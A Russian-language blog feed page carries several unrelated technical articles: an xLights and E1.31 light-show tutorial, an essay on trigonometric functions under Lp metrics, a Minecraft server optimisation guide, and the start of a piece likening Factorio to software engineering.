В сравнении с предыдущим соревнованием мы видим, что наша внутренняя экспертиза в продукте расширила горизонт покрытия определяемого ВПО. Мы продолжаем развивать наши технологии обнаружения вредоносного ПО и держать руку на пульсе современных актуальных угроз.

Автор: Алексей Вишняков, руководитель отдела обнаружения вредоносного ПО компании Positive Technologies

Подробнее..

Праздник к нам приходит проектируем и программируем световое шоу в xLights

29.12.2020 14:10:26 | Автор: admin

Ранее мы рассказывали про историю протоколов управления световым оборудованием. Настало время сделать свое шоу!

Под катом рассказываем о нюансах создания собственного светового шоу, которое пригодится не только на Новый год. Проект не самый простой, но результат стоит того, чтобы потратить на него пару часов своего времени.

Для создания собственного светового шоу требуются умные источники света и пульт управления. Наиболее доступное решение использование адресных светодиодных лент на базе WS2818b и микроконтроллера с Wi-Fi. Подробную инструкцию по работе с адресной светодиодной лентой можно найти в блоге AlexGyver, а программную часть взять у проекта WLED.

В современных домашних инсталляциях для управления светом удобнее всего использовать Wi-Fi и протокол E1.31, а в качестве программы для создания шоу xLights. Мы решили пойти дальше и разработать собственное E1.31-совместимое устройство и запрограммировать с его помощью небольшое светопреставление. Выбор пал на Minecraft.

Энтузиасты проводят в этой популярной песочнице разные мероприятия, в том числе квартирники, спектакли и вебинары. Во всех случаях игра выполняет роль самостоятельной и независимой виртуальной площадки. В нашем случае сценическое оборудование находится внутри игры, а пульт управления снаружи. Эту проблему решает плагин для сервера Minecraft.

Все описанное в статье применимо к любому проекту, где возможно подключение к интернету и есть контролируемые осветительные приборы.

Протокол E1.31


Хотя Art-Net проще, мы выбрали стандартизированный sACN (E1.31). В интернете можно найти реализацию для языков C, C#, Python. Java не лучший язык для обработки байтового потока, но другого не надо. Необходимая нам функциональность получение пакетов E1.31 и извлечение необходимых данных, поэтому мы напишем свой приемник. Пакеты sACN отправляются по UDP и состоят из трех слоев. Структура пакета в нотации языка С, взятая из libe131:

/* E1.31 Packet Type *//* All packet contents shall be transmitted in network byte order (big endian) */typedef union {  PACK(struct {    PACK(struct { /* ACN Root Layer: 38 bytes */      uint16_t preamble_size;    /* Preamble Size */      uint16_t postamble_size;   /* Post-amble Size */      uint8_t  acn_pid[12];      /* ACN Packet Identifier */      uint16_t flength;          /* Flags (high 4 bits) & Length (low 12 bits) */      uint32_t vector;           /* Layer Vector */      uint8_t  cid[16];          /* Component Identifier (UUID) */    }) root;    PACK(struct { /* Framing Layer: 77 bytes */      uint16_t flength;          /* Flags (high 4 bits) & Length (low 12 bits) */      uint32_t vector;           /* Layer Vector */      uint8_t  source_name[64];  /* User Assigned Name of Source (UTF-8) */      uint8_t  priority;         /* Packet Priority (0-200, default 100) */      uint16_t reserved;         /* Reserved (should be always 0) */      uint8_t  seq_number;       /* Sequence Number (detect duplicates or out of order packets) */      uint8_t  options;          /* Options Flags (bit 7: preview data, bit 6: stream terminated) */      uint16_t universe;         /* DMX Universe Number */    }) frame;    PACK(struct { /* Device Management Protocol (DMP) Layer: 523 bytes */      uint16_t flength;          /* Flags (high 4 bits) / Length (low 12 bits) */      uint8_t  vector;           /* Layer Vector */      uint8_t  type;             /* Address Type & Data Type */      uint16_t first_addr;       /* First Property Address */      uint16_t addr_inc;         /* Address Increment */      uint16_t prop_val_cnt;     /* Property Value Count (1 + number of slots) */      uint8_t  prop_val[513];    /* Property Values (DMX start code + slots data) */    }) dmp;  });  uint8_t raw[638]; /* raw buffer view: 638 bytes */} e131_packet_t;


Нам интересны следующие поля:

  • номер последовательности seq_number;
  • номер DMX Universe universe;
  • количество байт DMX-информации в данном пакете prop_val_cnt;
  • байты DMX-информации prop_val;

Так как данные отправляются с большой частотой и по ненадежному UDP, то перепутать пакеты местами достаточно просто. Значение seq_number обозначает номер последовательности и фактически обозначает номер кадра в световом шоу, позволяя отбрасывать пакеты с номером меньше актуального. Значение universe помогает упорядочивать пакеты внутри кадра.

Обратите внимание, что один E1.31-пакет может содержать не больше 511 байт полезной информации. Согласно стандарту DMX, нулевой байт, называющийся стартовым кодом, зарезервирован и должен быть равен нулю.

При наличии более одной DMX-области полученные пакеты необходимо упорядочить и объединить DMX-данные, удалив нулевой байт из каждой DMX-области. Полученные DMX-данные можно использовать для управления освещением.

Настраиваем xLights


xLights свободно распространяемое программное обеспечение для управления DMX-контроллерами. Данная программа поддерживает Windows, Linux и macOS. На момент написания статьи на странице загрузки актуальная версия 2020.56.

Стартовое окно xLights

Сперва необходимо подключить все доступные контроллеры. Контроллер это устройство, которое принимает пакеты E1.31, извлекает из них данные и отправляет подключенным DMX-устройствам. В нашем случае контроллер один сервер Minecraft. Однако если вы используете светодиодные ленты, то скорее всего у каждой ленты будет свой контроллер.

Добавление контроллера необязательная операция, придумать композицию и протестировать эффекты можно и без наличия осветительных приборов.

Мы используем E1.31, поэтому выбираем Add Ethernet и в правой половине указываем необходимые для подключения данные: IP-адрес, протокол E131, номер начальной DMX-области и количество областей.

Количество областей напрямую зависит от количества каналов. Так, при использовании светодиодной ленты WS2812B каждый светодиод требует три канала. Таким образом, одна DMX-область может управлять только 170 светодиодами. Если светодиодов больше, то данному устройству нужно выделить больше DMX-областей.

Добавление контроллера

После указания всех необходимых данных нажимаем на кнопку Save, которая окрашивается в красный цвет при наличии несохраненных изменений. Мы указали две DMX-области по 510 каналов (511 вместе со стартовым кодом). Число 510 выбрано неслучайно, оно кратно трем, а все RGB-устройства имеют количество каналов, кратное трем.

Обратите внимание, что настройки контроллеров и композиции сохраняются в каталог, который указан как каталог шоу (Show Directory).

После настройки контроллеров можно переходить к настройке композиции.

Организация композиции


Вкладка Layout

Переходим на вкладку Layout в xLights. На данной вкладке можно видеть три области:

  • список моделей (левая верхняя четверть);
  • настройки выделенной модели (левая нижняя четверть);
  • внешний вид инсталляции (правая половина).

При первом открытии ни одна модель не выделена, а в настройках доступны параметры композиции. В параметре Background Image можно указать изображение, например, фотографию дома, квартиры или любого места, которое планируется для организации шоу.

Для добавления устройства в композицию необходимо выбрать его тип, а затем нарисовать его в окне композиции. По умолчанию xLights предоставляет базовые элементы и несколько сложных фигур. Тем не менее, предусмотрена возможность создания собственных моделей и отправки сырых DMX-данных.

Пример заполненной композиции. Выделена модель Common lightning.

Доступные настройки зависят от типа используемой модели. Наиболее интересным моментом является сопоставление моделей контроллерам. В нашем случае используется один контроллер, поэтому модели занимают каналы по возрастанию в порядке добавления в композицию. При использовании нескольких контроллеров необходимо явно указывать, кто управляет моделью в параметре Start Channel.

Также рекомендуется уделить должное внимание параметру Name, который задает имя модели в xLights. Грамотное назначение имен впоследствии несколько облегчит процесс программирования шоу.

После изменения параметров модели необходимо нажать кнопку Save, иначе изменения будут сброшены.

Моделей, которые предоставляет xLights, достаточно для создания первых композиций. В меню добавления моделей есть кнопка с иконкой скачивания. Это позволяет загрузить готовые модели из разных источников. Тем не менее, иногда возникает необходимость в собственных моделях. Для этого случая есть два вида решения:

  • Custom (иконка с мордашкой);
  • DMX (иконка с цветным текстом DMX).

Модель типа Custom позволяет создавать световые устройства с собственной разметкой. Для этого необходимо добавить в композицию модель Custom, затем в настройках найти параметр Model Data в группе Custom и открыть редактор модели нажатием на троеточие.

Редактор модели Custom

Модель типа Custom позволяет создавать трехмерные модели с различной адресацией источников света в модели. Создание собственной модели представляет собой заполнение номеров управляющего канала в таблицах. Обращаем внимание, что данный редактор подразумевает использование однородных элементов в модели. Иными словами, все светильники в модели должны использовать одинаковое количество каналов. По умолчанию используются RGB-светильники, которые используют по три канала. Так мы разметили девять источников света, но модель потребляет 27 каналов.

Выбор типа DMX-устройства

В случае, когда тип Custom не способен решить проблему, например, используется DMX-совместимое не световое оборудование, на помощь приходит модель типа DMX. xLights имеет некоторое представление о не световых DMX-устройствах и предлагает выбрать тип устройства из списка. Если используемое устройство не присутствует в списке, то стоит выбрать General и указать количество используемых каналов и их названия в настройках модели в параметре Strand/Node Names. Мы использовали генератор огня, который принимает значения высота огня в блоках и продолжительность огня.

После создания композиции можно приступать к программированию шоу.

Создание шоу



Вкладка Sequencer

Создание шоу наиболее времязатратное действие. Переходим на вкладку Sequencer. Большинство элементов интерфейса будут неактивны, так как последовательность не создана. Последовательность создается через File New Sequence или комбинацией клавиш Ctrl+N.

В первую очередь xLights задаст вопрос о типе последовательности. Это может быть музыкальное шоу (Musical Sequence) или анимация (Animation). Первый тип требует указать музыкальный файл, который будет использоваться в светопреставлении. Вне зависимости от выбранного типа необходимо указать кадровую частоту для шоу. По умолчанию предлагаются значения 20 или 40 кадров в секунду. Данная настройка напрямую зависит от способности оборудования работать с требуемой скоростью. Мы рекомендуем начинать с 20 кадров в секунду.

Последним вопросом при создании шоу будет выбор моделей.

Вкладка Sequencer после создания композиции

После создания последовательности ранее заблокированные элементы интерфейса становятся доступны, а на временной шкале отображаются все созданные и добавленные в последовательность модели.

Рассмотрим панели, расположенные над вкладками. Нижняя вкладка с мелкими иконками панель эффектов. В отличие от моделей эффекты перетаскиваются на временную шкалу, а не устанавливаются кликом. Верхняя панель делится на блоки, слева направо:

  • операции с композицией (создание, сохранение и т.д.);
  • выравнивание эффектов по времени или по клеткам шкалы времени;
  • операции с последовательностью (запуск, пауза, остановка, перемотка, зацикливание);
  • включение или отключение отображения окон во вкладке Sequencer;
  • увеличение и уменьшение масштаба временной шкалы и настройки последовательности;
  • трансляция последовательности на контроллеры (справка, остановить, погасить все лампы, включить отображение на контроллеры).

На вкладке Sequence есть несколько окон:

  • Model Preview;
  • House Preview;
  • Color;
  • View;
  • Effect Settings;
  • Layer Blending;
  • Layer Settings.

Нам интересны только первые пять. Окно Model Preview позволяет увидеть, как выделенная на шкале времени модель отображает эффект, а House Preview позволяет увидеть все модели в контексте композиции.

С помощью окна Color можно задать разрешенные для модели цвета. По умолчанию xLights предполагает, что используются RGB-светильники, и разрешает использовать все цвета. Если вы хотите запретить какие-то цвета, необходимо снять отметки и нажать кнопку Update.

Окна View и Effect Settings позволяют указать время воспроизведения эффекта и задать его параметры. Мы не будем рассказывать про каждый эффект и его настройки, оставим это зоной для ваших экспериментов. Если эффект нравится в предпросмотре xLights, его можно вывести на контроллеры и посмотреть результат вживую.

В окне Effect Settings также присутствует кнопка Update. Ее следует нажимать, если модель, которая воспроизводит эффект, изменилась, иначе может быть некорректное отображение эффектов.

Настройки эффекта DMX

Ранее мы упоминали про DMX-совместимые устройства, которые не являются световым оборудованием, но могут управляться через xLights. В нашем случае это генератор огня, требующий два канала. Если каналы устройства были подписаны при создании композиции, то они отобразятся в настройках эффекта DMX.

Демонстрация эффекта DMX на генераторе огня

Обращаем внимание, что xLights позволяет задавать эффекты не только всему устройству, но и каждой линии (strand) или каждой ячейке (node) сложного устройства. Для этого достаточно дважды кликнуть по устройству на временной шкале.

Демонстрация результатов


Для демонстрации мы взяли фрагмент композиции RADIO TAPOK Потрошитель. Хотя возможности Minecraft по отображению световых эффектов весьма ограниченны, а автор любитель в этой области, постановка получилась достаточно интересной.


Плагин для Minecraft все еще в разработке, но его исходный код уже доступен в репозитории на github.com.

Заключение


Мы кратко рассмотрели процесс создания светового шоу в xLights. Если вас заинтересовала данная тема, то рекомендуем к ознакомлению сайт xlights.org. Там можно найти инструкции и людей, которые могут ответить на вопрос как на форуме, так и в Zoom.
Подробнее..

Подпольная тригонометрия различных метрик

11.10.2020 22:19:02 | Автор: admin

Эта небольшая заметка призвана обратить внимание на одно довольно неочевидное свойство тригонометрических функций, а именно: зависимость от метрики в которой мы работаем. Под катом я не могу обещать строжайших математических выкладок и общепринятой терминологии, но что я обещаю, так это много картинок, которые насытят Ваш пытливый ум пониманием альтернативной тригонометрии.


Небольшая, но чертовски интересная преамбула


Идея этой статьи ко мне пришла случайно, когда в очередной раз я набросился на пресловутое уравнение


$cos(x)=x$


В попытке решить его АНАЛИТИЧЕСКИ, то есть получить так называемое closed-form solution или ответ в виде конечной композиции чисел (что-то типа $\sqrt 5 /2 + 17\pi$). Кстати, попробуйте сами! Потупив минут 15 над этим уравнением вы быстро поймёте, что предоставленных Вам школьных знаний явно не хватает (наверное) чтобы решить это уравнение, а сложные вышматовские штучки делают решение и вовсе недосягаемым. После вашей первой капитуляции перед этим уравнением, к Вам придёт желание пойти в гугл, а он с подобающим ему беспристрастием выдаст Вам Dottie number, предложив компромиссное решение в виде бесконечной сходящейся численной последовательности.
image
Да кстати, численное решение: $x=0.739085...$.


Получив решение, Вы можете, вздохнув с облегчением, закрыть вкладку в браузере, приняв реальность talis qualis. Однако я отношусь к той касте отбитых любителей математики, которые считают, что если такие чрезвычайно просто сформулированные задачи испытывают проблемы с решением, то у самой сути разработанной математики есть какие-то проблемы и их неплохо было бы решить (попутно разработав новый аппарат).


В любом случае, в один из таких крестовых походов на эту задачу ко мне пришёл резонный вопрос: "а что такое косинус?". Самое первое определение, которое я когда-то узнал в школе было следующим:


Косинус острого угла в прямоугольном треугольнике это отношение прилежащего катета к гипотенузе.
image
И именно с этого определения начинается мой рассказ.


Многоликость гипотенузы


У гипотенузы есть замечательное свойство её можно вычислить, зная два катета, по определению. В терминах картинки из преамбулы, запишем:


$c=\sqrt{a^2+b^2}$


Такой она предстаёт перед нами в рамках пресловутой теоремы Пифагора. Многие века эмпирического опыта указывали нам на справедливость этой теоремы. И даже недвусмысленно намекали, что наше пространство наделено Евклидовой метрикой. Но относительно недавно мы научились жонглировать с определением метрического пространства, предлагая всё новые и новые метрики.


немного о теореме Пифагора

Теорема Пифагора для случая двух ортогональных катетов эквивалентна определению так называемой $L_2$ нормы (или Евклидовой норме или квадратичной метрике есть тонкие математические отличия, на которые в этой статье я забью). Для нас только важно, что длины катетов треугольника не могут быть отрицательными числами.


Давайте теперь изменим определение гипотенузы, предполагая, что мы работаем в пространстве с Манхэттенской метрикой. Тогда:


$c=|a+b|$


Соответственно определения Синуса и Косинуса станут:


$\sin(x)=\frac{a}{|a+b|},\ \cos(x)=\frac{b}{|a+b|}$


Лично у меня на этом этапе уже тряслись руки от безудержного желания поскорее построить графики этих "отвергнутых" из-за своей природы функций. Но позвольте сначала определиться со способом такого построения.


К сферам


Определяя метрику в пространстве, мы автоматически определяем сферу на ней (которая по определению: множество равноудалённых точек от данной). Об этом на хабре уже были статьи (например Пространства с иным числом Пи). Поэтому коротко: если мы зададим радиус сферы равным 1, то для различных $L_p$норм, мы можем определить следующее равенство, задающее сферу (окружность для двумерного случая):


$(a^p+b^p)^\frac{1}{p}=1$


Подставляя различные значения p в уравнение, получаем наших героев:
image
Как вы наверняка догадались, случай $p=2$ соответствует нашей привычной Евклидовой метрике, а $p=1$ Манхэттенской метрике. Наблюдение того, как плавное изменение параметра p приводит к деформации сферы (и нашего понимания сферы), доставляет неподдельное эстетическое наслаждение Но давайте двинемся дальше.


К тригонометрии


Последний важный вопрос: "А что, собственно, такое угол?". На первый взгляд, угол это всего лишь некоторая мера, "как-то" характеризующая два луча исходящих из одной точки. Возможно для специалистов в математике этот вопрос покажется надуманным и избыточным, но для меня дилетанта, этот вопрос кажется крайне существенным. Однако, на текущий момент, я ничего не могу добавить к этому вопросу, кроме того, что угловая мера кажется мне "очень странной". Ну да ладно.


Для того чтобы наконец построить графики синуса или косинуса для манхэттенской метрики, мы будем будем действовать хитрым образом. Мы используем известные значения углов и их тригонометрических соотношений для Евклидовой метрики, а затем сменим метрику и найдём соответствующие синусы и косинусы в ней. Для лучшего понимания я введу специальную нотацию:


$\sin_p(x),\ \cos_p(x),\ \tan_p(x),$


где индекс $p$ будет обозначать метрику для которой мы находим значение соответствующей тригонометрической функции. Например, как вы хорошо помните из школы: $\sin_2(\frac{\pi}{4})=\frac{\sqrt{2}}{2}$ или $\tan_2(\frac{\pi}{4})=1$. Для перехода из одной метрики в другую, в рамках данной задачи, очень удобно воспользоваться простой линейной функцией $y=kb$, где $k$ коэффициент наклона прямой, $b$ длина прилежащего катета прямоугольного треугольника (см. картинку ниже).
image
Таким образом, мы будем выполнять следующий набор действий, задавшись, как и ранее единичным радиусом окружности:


  1. Зададимся некоторым углом $x$ и найдём для него значнеие $\tan_2(x)$;
  2. Приравняем полученное значение тангенса к коэффициенту наклона прямой: $k=\tan_2(x)$, и построим эту прямую.
  3. Решим уравнение $kb=|1-b|$ для $b\in[0,1]$.
  4. Для найденного значения $b$ рассчитаем $a=|1-b|$
  5. Найдём значение $\sin_1(x),\ \cos_1(x)$ (или любую другую тригонометрическую функцию) по определению.

Кстати, напомню и сразу обобщу это определение для произвольной $L_p$ нормы.


$\sin_p(x)=\frac{a}{(a^p+b^p)^{1/p}},\ \cos_p(x)=\frac{b}{(a^p+b^p)^{1/p}}$


Чтож, я обещал картинки? Да будут картинки! Отправимся же наконец в царство подпольной тригонометрии.


Подполье


Наша первая остановка косинус для Манхэттенской метрики, мы построили его для множества углов: $x\in[0,\pi/2]$. Для удобства я также построил классический "легальный" косинус.
image
Что лично меня удивило в этом новом косинусе, это его невыпуклость (или возможно более точно "not concaveness") на заданном интервале. С удовольствием почитаю Ваш комментарий по вопросу: "почему выпуклость могла потеряться?".


Что-нибудь более периодическое?
image
Кстати, формулы приведения похоже работают как раньше.
image
Жаль, конечно что потерялась гладкость функции, но этого можно было ожидать, ведь манхэттэнская сфера тоже не особо гладкая.


А что там с тангенсом?
image
Похоже ничего особенного. Это тоже вполне ожидаемо, ведь отношение между катетами определяет нам угол, а значит это отношение должно оставаться инвариантом относительно выбранной метрики.


Продолжим наши развлечения, построим косинус для множества различных метрик.
image


Добавим точек:
image


Вывод


И напоследок. Вызывая в вашем любимом файлообменнике языке программирования встроенную функцию Cos(), помните, что вы обречены получить в ответ только легальную, проверенную временем, всеми любимую $\cos_2()$. И только те, кто решился на отчаянный шаг войти в кастом подполье, найдут для себя что-то новое и удивительное).


Извините, что оставляю подвал без ссылок на какие-либо источники по данной теме. 10 минут честного гугления на английском не привели меня ни к чему похожему ни на хабре ни где-либо ещё. Буду счастлив добавить это в апдейт из комментариев.


Для любителей посмотреть в код: https://github.com/shappiron/Lp_trigonometry

Подробнее..

Оптимизация сервера Minecraft

09.07.2020 14:06:35 | Автор: admin

В нашем блоге мы уже рассказывали, как создать свой сервер Minecraft, однако с тех пор прошло 5 лет и многое поменялось. Делимся с вами актуальными способами создания и оптимизации серверной части столь популярной игры.

За свою 9-летнюю историю (если считать от даты релиза) Minecraft заработал потрясающее количество поклонников и хейтеров как среди обычных игроков, так и среди гиков. Простая концепция мира из кубиков превратилась из обычного развлечения в универсальную среду для общения и создания различных объектов из реального мира.

Помимо строительства, в игре есть возможность создавать логические схемы, которые позволяют реализовывать полноценные алгоритмы внутри Minecraft. На YouTube полно весьма впечатляющих роликов, где люди, приложив огромное количество сил и потратив множество времени, создали копию того или иного электронного устройства или построили детальную копию существующих и вымышленных архитектурных сооружений. Все ограничивается лишь фантазией геймера и возможностями игровой вселенной.


Но не будем дальше говорить о том, что именно игроки создают, а посмотрим на серверную часть приложения и осветим проблемы (порой весьма сложные), которые могут возникнуть в процессе работы под нагрузкой. Сразу оговоримся, что речь пойдет только о Java Edition.

Виды серверов


Самым простым вариантом является сервер, встроенный в клиент игры. Создали мир, нажали на одну кнопочку, и вот сервер стал доступен по локальной сети. Никакой серьезной нагрузки такой вариант выдержать не может, а поэтому мы не будем его даже рассматривать.

Vanilla


Компания Mojang Studios распространяет серверную часть игры в виде Java-приложения бесплатно на официальном сайте. Это позволяет создать свой собственный выделенный сервер и персональный мир, сделав его доступным для подключения из любой точки планеты. Для тех, кто делает это впервые, есть отличный туториал, доступный в соответствующей игровой Wiki.

У этого подхода есть один серьезный недостаток, а именно отсутствие возможностей из коробки подключать плагины, расширяющие функционал сервера и позволяющие не только автоматизировать многие процессы, но и оптимизировать производительность. Кроме того, у официального сервера достаточно большое потребление оперативной памяти на каждого подключенного игрока.

Bukkit


Созданное энтузиастами на базе Vanilla-версии серверное приложение Bukkit значительно расширяло возможности игры за счет поддержки плагинов и модов (модификаций). Оно позволило не только добавлять в игровой процесс новые блоки, но и выполнять различные манипуляции, недоступные ванильному ПО. Что интересно, памяти это приложение требовало значительно меньше.

Установить Bukkit не составляет особого труда, соответствующая инструкция есть на ресурсе GamePedia. Но это не имеет смысла, так как с 2014 года команда Bukkit распалась, разработчики проекта стали сотрудниками Mojang Studios, а репозиторий заброшен. Таким образом, Bukkit фактически мертв, и имеет смысл обратить внимание на два следующих проекта.

SpigotMC


Для облегчения жизни разработчиков плагинов была необходимость в API для взаимодействия с игровым миром. Именно эту задачу и решили создатели Spigot, взяв за основу ядро Bukkit и переработав его для достижения лучшей надежности и производительности. Тем не менее, Git-репозиторий проекта был заблокирован в связи с Законом об авторском праве в цифровую эпоху (DMCA), и скачать оттуда исходники невозможно.

На текущий момент SpigotMC активно развивается и используется. Он поддерживает все плагины, созданные под Bukkit, однако с ним обратно не совместим. Чтобы обойти запрет DMCA Takedown, был придуман элегантный способ под названием BuildTools. Этот инструмент избавляет от необходимости дистрибуции скомпилированного приложения и позволяет пользователям выполнить компиляцию Spigot, CraftBukkit и Bukkit из исходного кода. Все это делает запрет DMCA бесполезным.

PaperMC


Казалось бы, все круто, и Spigot стал прекрасным вариантом. Но некоторым энтузиастам этого показалось мало, и они запилили свой собственный форк Spigot на стероидах. На странице проекта ключевым достоинством указано, что It's stupid fast. Развитое коммьюнити позволяет оперативно решать возникающие вопросы, а расширенное API делать интересные плагины. Запустить PaperMC можно одной простой командой, приведенной в документации.

С совместимостью у PaperMC все прекрасно, так что написанные плагины под SpigotMC легко заработают и на PaperMC, но без официальной поддержки. Обратная совместимость со SpigotMC также присутствует. Теперь, когда мы перечислили различные варианты создания сервера, перейдем к тем проблемам производительности, которые могут возникать.

Проблемы и решения


Главное, что нужно понимать, все, что касается обработки игрового мира будет обрабатываться только на одном вычислительном ядре физического сервера. Так что если вдруг у вас прекрасный сервер с десятком вычислительных ядер, то загружено будет только одно. Все остальные будут фактически простаивать. Такова уж архитектура приложения, и ничего вы с этим поделать не сможете. Так что при выборе сервера следует обращать внимание не на количество ядер, а на тактовую частоту. Чем она будет выше, тем лучше будет производительность.

Что касается вопроса об объеме оперативной памяти, тут следует исходить из следующих показателей:

  • планируемое количество игроков;
  • планируемое количество миров на сервере;
  • размер каждого мира.

Следует помнить, что Java-приложению всегда нужен запас по оперативной памяти. Если вы рассчитываете на потребление памяти в 8 гигабайт, то фактически надо иметь 12. Цифры условные, но суть от этого не меняется.

Для запуска серверной части рекомендуем воспользоваться флагами, указанными в статье Tuning the JVM G1GC Garbage Collector Flags for Minecraft. Эта черная магия позволяет серверу грамотно настроить сборщик мусора и оптимизирует использование оперативной памяти. Не стоит выделять памяти больше, чем реально потребляет сервер при пиковом наплыве игроков.

Генерация карты блоков

Вы действительно считаете, что Луна существует, только когда вы на неё смотрите? (Альберт Эйнштейн)
Абсолютно новый сервер. Как только игрок первый раз успешно подключается, игровой персонаж появляется на общей точке сбора (спаун). Это единственное место, где игровой мир предварительно генерируется сервером. В этот же момент клиентская часть смотрит в настройки, и ключевым параметром является дальность прорисовки. Измеряется она в чанках (область карты 16x16 и высотой в 256 блоков) Сколько чанков там указано, именно столько и будет запрошено у сервера.

На сервере хранится глобальная карта мира, и если в ней еще нет сгенерированных блоков в точке появления игрового персонажа, то сервер их динамически генерирует и сохраняет у себя. Мало того, что это требует больших вычислительных ресурсов, так еще и постоянно увеличивает размер карты мира. На одном из старейших анархических серверов 2b2t (2builders2tools) размер карты уже превысил 8 Tb, а граница мира проходит на отметке в 30 млн блоков. С этим сервером связаны тысячи историй, и он заслуживает отдельной статьи серии статей.

Генерация мира вокруг одного игрока не проблема. Генерация мира вокруг сотни игроков вызовет незначительные тормоза сервера на протяжении короткого времени, после чего нагрузка снизится. Генерация мира на дальность прорисовки клиента вокруг тысячи игроков уже способна уронить сервер и повыбрасывать с него всех клиентов по таймауту.
В серверном ПО имеется такое значение, как TPS (Ticks per Server тактов в секунду). Штатно 1 такт равен 50 мс. (1 секунда реального мира равна 20 тактам игрового мира). Если обработка одного такта вырастет до 60 секунд серверное приложение будет закрыто, выкинув всех игроков.
Выход ограничить мир определенными координатами и выполнить предварительную генерацию блоков. Тем самым мы снимаем необходимость динамической генерации в процессе игры, и серверу будет достаточно прочитать уже существующую карту. Оба вопроса решаются одним-единственным плагином WorldBorder.

Проще всего задать границу мира в виде окружности относительно точки спауна (хотя можно ее сделать любой формы) одной командой:

/wb set <радиус в блоках> spawn

Если игровой персонаж попытается пересечь границу, то будет отброшен на несколько блоков назад. Если это проделать несколько раз за ограниченное время, то нарушитель будет принудительно телепортирован на точку спауна. Предварительная генерация мира выполняется еще проще, командой:

/wb fill

Поскольку данное действие потенциально может затронуть игроков, находящихся на сервере, не забудьте подтвердить выполнение:

/wb confirm

В общей сложности на то, чтобы сгенерировать мир радиусом в 5000 блоков (~40 млрд блоков) ушло примерно 2 часа на процессоре Intel Xeon Gold 6240. Поэтому, если хотите запустить прегенерацию большей карты, учитывайте, что этот процесс займет приличное количество времени, а TPS сервера будет серьезно снижено. Кроме того, помните, что даже радиус в 5000 блоков потребует примерно 2 Гб места на дисковом накопителе.

Несмотря на то, что крайняя версия плагина была разработана для Minecraft версии 1.14, опытным путем выяснено, что она прекрасно работает и на последующих версиях. Полный список команд с пояснениями доступен на форуме плагина.

Проблемные блоки


Разновидностей блоков в Minecraft великое множество. Однако мы бы хотели остановить внимание читателей на таком блоке, как TNT. Как следует из названия, этот блок представляет собой взрывчатку (примечание редакции это игровой предмет виртуального мира и ничего с настоящими ВВ этот предмет не имеет). Его особенность такова, что в момент активации на него начинает действовать сила гравитации. Это заставляет сервер обсчитать все координаты, если в этот момент блок начинает падать.

Если блоков TNT несколько, то детонация одного блока вызывает детонацию и включение гравитации у соседних блоков, разбрасывая их во все стороны. Вся эта красивая механика на стороне сервера выглядит как множество операций по подсчету траектории каждого из блоков, а также взаимодействия с соседними блоками. Задача крайне ресурсоемкая, что легко может проверить каждый. Сгенерируйте и подорвите куб из блоков TNT, размером хотя бы 30x30x30. И если вы думали, что у вас хороший мощный игровой компьютер, то сильно заблуждались ;)

/fill ~ ~ ~ ~30 ~30 ~30 minecraft:tnt


Подобный эксперимент на сервере с Intel Xeon Gold 6240 привел к серьезной просадке TPS и 80% нагрузке на CPU в течение всего времени детонации блоков. А следовательно, если кто-либо из игроков сможет проделать подобное, то проблема с производительностью затронет всех находящихся на сервере игроков.

Еще более жесткий вариант Кристаллы Края. Если TNT все же взрывается последовательно, то Кристаллы Края детонируют все одновременно, что в теории может вообще остановить работу серверного приложения.

Избежать этого сценария можно, только полностью запретив использование данных блоков в игровом мире. Например, с помощью плагина WorldGuard. Обратите внимание, что сам по себе этот плагин не работает без другого плагина WorldEdit. Так что устанавливаете вначале WorldEdit, а затем WorldGuard.

Заключение


Грамотное управление игровым сервером задача не из простых. Сложности и снижение производительности будут поджидать на каждом шагу, особенно если не брать в расчет саму механику игрового процесса. Предусмотреть все невозможно, ведь игроки порой бывают очень изобретательны в попытках заставить сервер выполнить то, для чего он не был предназначен. Только разумный баланс между рисками и устанавливаемыми ограничениями позволит серверу работать в непрерывном режиме и не снижать свою производительность до критичных значений.

На карантине некоторые наши сотрудники соскучились по любимым офисам и решили воссоздать их внутри Minecraft. У вас тоже есть шанс заглянуть к нам в гости, не рискуя своим здоровьем и не тратя время на дорогу.
Для этого мы приглашаем всех желающих на наш сервер minecraft.selectel.ru (версия клиента 1.15.2), где воссозданы дата-центры Цветочная-1 и Цветочная-2. Не забудьте согласиться со скачиванием дополнительных ресурсов, они необходимы для корректного отображения некоторых локаций.

Вас ждут квесты, промокоды, пасхалки и приятное общение.
Подробнее..

Перевод Параллели между Factorio и проектированием ПО

18.08.2020 08:21:44 | Автор: admin

Я уже долгое время работаю проектировщиком ПО и могу с уверенностью сказать это интересно. Это отличная работа, и я не променял бы её ни на что другое. Это настолько увлекательно, что некоторые люди стремятся передать самые интересные аспекты нашей работы и выразить их в играх.

Я играл в две такие игры. Первая это Shenzhen.io. Она похожа на то, чем бы мог заниматься инженер, проектирующий встроенные устройства. Инженер решает головоломки путём писания ассемблерного кода для устройств с низким энергопотреблением. В этой игре здорово то, что её разработчики убрали из неё раздражающие аспекты написания кода и его ввода в эксплуатацию.

  • Требования понятны и на удивление точно соответствуют задаче.
  • Цикл редактирования, отладки и компиляции невероятно быстр. Благодаря этому, а также отличной системе тестирования можно за минуту проверить несколько потенциальных решений.
  • Платформа, от которой зависит код игрока (сама игра) не имеет багов. Не нужно чинить зависимости перед тем, как приступать к написанию собственного кода.

Должен ли проектировщик ПО сыграть в Shenzhen.io? Геймплей этой игры не для каждого. Некоторым он слишком напоминает работу. В конце концов, играя, хочешь расслабиться, а не работать над задачами, которые уже выполняешь по восемь часов в день. Несмотря на это, я считаю, что стоит сыграть, просто чтобы понять, насколько интересной становится задача, когда требования понятны, а средства разработки быстры. Все знают, что инвестирование в развитие и инструменты оправдывает себя, но удовольствие от игры подкрепляет это ощущение.

Вторая игра это Factorio, которую выпустили в прошлую пятницу, хотя в раннем доступе в неё можно было играть уже почти четыре года. Те, кто в неё играл, сейчас, вероятно, недоумевают ведь это игра о постройке фабрики, а не о кодинге. Игрок работает с конвейерами, металлом, нефтепродуктами и создаёт ресурсы, необходимые для изготовления космического корабля.


И тем не менее, эта игра больше любой другой напоминает мне о проектировании программного обеспечения. Позвольте объяснить, почему.

  • Технический долг. Создать ли временный грязный хак или реализовать всё правильно? Ответ всегда один это зависит от условий. Хакинг приближает нас к решению текущих задач, но позже нам придётся вернуть долг. Новички (типа меня!) начинают с соединения различных частей базы конвейерами, пока база не начинает напоминать спагетти, похожее на плохо поддерживаемые кодовые базы. Постепенно мы осваиваем способы укрощения этой сложности, поэтому становится проще обдумывать нашу игровую базу/кодовую базу.
